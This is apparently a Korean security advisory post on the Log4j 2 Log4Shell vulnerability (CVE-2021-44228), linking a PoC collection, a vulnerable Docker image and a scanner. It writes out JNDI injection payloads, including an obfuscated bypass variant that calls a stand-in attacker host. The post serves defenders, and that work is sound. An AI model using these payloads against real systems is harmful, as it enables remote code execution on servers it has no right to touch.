[긴급] 취약점) Apache Log4j 2 취약점 (CVE-2021-44228) PoC 및 취약점 스캐너

Apache Log4j 2 취약점 (CVE-2021-44228 / Log4Shell) PoC 및 취약점 스캐너

* 공격 구문 형식

- 주요 공격구문 : ${jndi:ldap://xxx.xxx.xxx/z} , ${jndi:rmi://xxx.xxx.xxx/z}
- HTTP URL, Header, body에 삽입하여 다수 공격 시도 (Zgrab과 같은 취약점 스캐너를 이동한 자동화 공격)
- 대소문자 및 아래와 같은 변형된 형식으로 인입도 가능.
ex) ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//somesitehackerofhell.com/z}
- 출처 : https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words

GitHub - Puliczek/CVE-2021-44228-PoC-log4j-bypass-words: 🐱‍💻 ✂️ 🤬 CVE-2021-44228 - LOG4J Java exploit - A trick t

* 현재 공유된 CVE-2021-44228 PoC

- 취약 어플리케이션으로 docker image로 제공
- 출처: https://www.lunasec.io/docs/blog/log4j-zero-day/

Log4Shell: RCE 0-day exploit found in log4j 2, a popular Java logging package | LunaSec

* CVE-2021-44228 취약점 스캐너

- Window, Linux, Unix 환경에서 Log4j2 취약 버전 사용 유무 체크
- 출처 : https://github.com/logpresso/CVE-2021-44228-Scanner

GitHub - logpresso/CVE-2021-44228-Scanner: Vulnerability scanner and mitigation patch for Log4j2 CVE-2021-44228